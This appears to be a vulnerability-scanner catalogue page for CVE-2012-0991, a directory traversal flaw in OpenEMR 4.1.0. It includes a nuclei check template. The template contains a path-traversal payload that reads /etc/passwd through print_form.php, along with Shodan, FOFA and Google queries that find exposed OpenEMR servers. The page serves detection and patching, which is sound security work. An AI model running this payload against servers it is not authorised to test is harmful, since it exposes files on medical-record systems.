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CVE-2012-0991· openemr / openemr· CWE-22

OpenEMR 4.1 - Local File Inclusion

lowseverity
3.5CVSS score
9.2%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or upgrade to a newer version of OpenEMR.

How to confirm it

Send: GET {{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2012-0991 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-0991

info:
  name: OpenEMR 4.1 - Local File Inclusion
  author: daffainfo
  severity: low
  description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of OpenEMR.
  reference:
    - https://www.exploit-db.com/exploits/36650
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0991
    - http://www.open-emr.org/wiki/index.php/OpenEMR_Patches
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72914
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:P/I:N/A:N
    cvss-score: 3.5
    cve-id: CVE-2012-0991
    cwe-id: CWE-22
    epss-score: 0.09194
    epss-percentile: 0.95375
    cpe: cpe:2.3:a:openemr:openemr:4.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openemr
    product: openemr
    shodan-query:
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve,cve2012,lfi,openemr,traversal,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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